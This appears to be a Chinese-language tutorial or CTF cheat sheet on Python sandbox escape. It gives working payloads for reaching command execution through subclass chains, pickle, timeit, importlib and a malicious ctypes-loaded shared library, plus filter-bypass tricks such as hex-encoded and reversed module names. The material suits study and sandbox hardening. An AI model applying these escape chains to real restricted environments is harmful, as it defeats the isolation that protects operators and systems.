1.沙箱逃逸
Python 的沙箱逃逸的最终目标就是执行系统任意命令,次一点的写文件,再次一点的读文件。测试环境是 python3.8.2
,py3.x
各个版本间有一些差异,但总体的方法不变。py2就不讨论了
执行系统命令
1
2
3
4
5
6
7
8os.system("whoami")
os.popen("whoami").read()
subprocess.run("whoami",shell=True) //如果 shell 设为 True,命令是被Bash(Sh)启动,所以支持shell语法。 如果shell=False的话,启动的是可执行程序本身,后面的参数不再支持shell语法。
subprocess.Popen("whoami",shell=True)
subprocess.call("whoami",shell=True)
subprocess.check_call("whoami",shell=True)
subprocess.check_output("whoami",shell=True)
subprocess.getstatusoutput("whoami")执行系统命令只有
os
subprocess
执行Python代码
1
2
3eval(expression[, globals[, locals]]) //实参是一个字符串,以及可选的 globals 和 locals。globals 实参必须是一个字典。locals 可以是任何映射对象。
exec(object[, globals[, locals]]) //这个函数支持动态执行 Python 代码。object 必须是字符串或者代码对象。exec函数的返回值永远为None。
f-string1
2
3exec('import os ;os.system("whoami")')
eval('__import__("os").system("whoami")')
f'{__import__("os").system("whoami")}' //F'{__import__("os").system("whoami")}'这两个函数是内置函数。
大体上就是
执行python代码 -> 执行系统命令
关键方法
__init__
类的实例化
__base__
列出其基类。__base__
和 __bases__
都是返回当前类的基类,只不过__bases__
返回的是一个元祖
__mro__
递归显示其父类直到object
__subclasses__()[]
获取子类
__class__
获得当前对象的类
object.__getattribute__(self, name)
此方法会无条件地被调用以实现对类实例属性的访问。
__globals__
function.__globals__
等同于globals()。dir() 的结果是上面两个的键值
''.__class__.__mro__[1].__subclasses__()[138].__init__.__getattribute__("__globals__")
//os._wrap_close
类
__dir__
一个字典或其他类型的映射对象,用于存储对象的(可写)属性。
>>> ''.__class__.__dict__['upper']
<method 'upper' of 'str' objects>
>>> ''.__class__.upper
<method 'upper' of 'str' objects>
__import__
import
一个模块
bulitins
Python3的内建模块,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀
import builtins
dir(builtins) //打印所有的内联函数可获取eval exec
__builtins__
builtins
的引用 __builtins__.__dict__['__import__']('os').system('whoami')
__name__
个值获得的只是一个字符串,不是模块的引用,使用sys.modules[__name__]
才获得的是模块的引用
__call__(self[, args...])
此方法会在实例作为一个函数被“调用”时被调用;如果定义了此方法,则 x(arg1, arg2, ...)
就相当于 x.__call__(arg1, arg2, ...)
().__class__.__bases__[0].__subclasses__()[37].__call__(exec,"__import__('os').system('whoami')")
dir()
将显示对象的属性的名称,__dict__
是dir()的子集。注意dir()
不会列出内置函数和变量的名称
getattr(object, name[, default])
返回对象命名属性的值。name 必须是字符串。如果该字符串是对象的属性之一,则返回该属性的值。例如, getattr(x, 'foobar')
等同于 x.foobar
可以用这个特性绕过 .
被过滤的情况
pickle
这个是python 的一个序列化的方法,用于将对象存储在字符串对象中,实现对象的持久化。
pickle.loads(b"cos\nsystem\n(S'ls'\ntR.") //执行命令
timeit模块
测试代码的执行时间的
timeit.timeit("__import__('os').system('whoami')",number=1)
importlib模块
find_loader
用来查找模块,reload
重新载入模块importlib.import_module(name, package=None)
充当importlib.__import__()
的简化包装。
所以说如果导入的模块a中有着另一个模块b,那么,我们可以用a.b的方法或者a.__dict__[b<name>]
的方法间接访问模块b。
顺着这个思路,我们可以FUZZ一下哪些模块 import
os
和subprocess
从而执行系统命令
1 | #查询手册合成的标准库字典 |
结果:
1 | os:['pathlib', 'fileinput', 'filecmp', 'glob', 'fnmatch', 'linecache', 'shutil', 'dbm', 'gzip', 'bz2', 'lzma', 'zipfile', 'tarfile', 'configparser', 'netrc', 'plistlib', 'secrets', 'getopt', 'logging', 'getpass', 'curses', 'platform', 'subprocess', 'socket', 'ssl', 'asyncore', 'mailcap', 'mailbox', 'mimetypes', 'binhex', 'uu', 'webbrowser', 'cgi', 'cgitb', 'smtpd', 'uuid', 'socketserver', 'gettext', 'shlex', 'pydoc', 'doctest', 'bdb', 'pdb', 'trace', 'tracemalloc', 'ensurepip', 'venv', 'zipapp', 'sysconfig', 'inspect', 'site', 'pkgutil', 'modulefinder', 'tabnanny', 'py_compile', 'compileall', 'msilib', 'pipes', 'resource', 'nis', 'genericpath', 'ntpath'] |
也可以fuzz一下其他的方法比如 sys
(sys.modules["os"].system("whoami")
),举一反三就行
花式import
1
2
3
4
5import os
__import__('os')
importlib.import_module('os') //注意导入importlib如果通过
sys.modules['os'] = None
,那么就无法导入os
但import 的原理,本质上就是执行一遍导入的库。路径可以通过sys.path
查看,默认都是在/usr/lib/python3X/
1
2
3
4
5
6
7
8with open('/usr/lib/python3.8/os.py','r') as f:
exec(f.read())
system('whoami')
#或者
sys.modules['os']= '/usr/lib/python3.8/os.py'
#或
del sys.modules['os'] //当 import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。所以删了 sys.modules['os'] 只会让 Python 重新加载一次 os。
import os花式处理字符串
字符串拼接
1
__import__('o'+'s').system('whoami')
字符串逆转
1
__import__('so'[::-1]).system('whoami')
变量替换
1
2
3a='o'
b='s'
__import__(a+b).system("whoami")编码
1
__import__((bytes.fromhex("6f73").decode())).system('whoami')
别名
1
import os as o
继承逃逸
python中万物皆对象。通过各种魔术函数可以在继承链上找到我们需要的函数。也可以通过脚本FUZZ一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22#这里只爆破了一层
# object
# [].__class__.__base__
# "".__class__.__mro__[-1]
methods=['os','subprocess'] # sys __import__ __builtins__
classes = [].__class__.__base__.__subclasses__()
res = {}
for met in methods:
res[met] = []
for i in range(len(classes)):
cla = str(classes[i])
if met in cla:
res[met].append(str(i) + " " + cla)
# dir() 不会列出内置函数和变量名称所以 exec和eval只能爆破,或者利用其他包的__builtins__调用
if "__globals__" in dir(classes[i].__init__):
if met in classes[i].__init__.__globals__:
res[met].append(str(i)+ " "+cla)
for met in methods:
print(met + ":" + str(res[met]))类的序号在不同的py版本,运行平台,以及import不同的包,都会造成
object
的子类数量不一样,序号也就不一样了。脚本也就构造下payload,远程打过去还得爆破序号。加载恶意so
利用
ctypes.LibraryLoader
加载恶意动态库执行命令。ctypes
必须要导入,不然object
不会有它。感觉有些鸡肋。evil.c
1
2
3
4
5
6
7
__attribute__ ((__constructor__)) void evil(void){
system("ls -la > /tmp/ls_la");
}poc.py
1
2import ctypes
[].__class__.__base__.__subclasses__()[167]('/tmp/evil.so')其他
过滤
[
、]
,应对的方式就是将[]的功能用pop 、__getitem__
代替(实际上a[0]就是在内部调用了a.__getitem__(0)
)''.__class__.__mro__.__getitem__(1).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()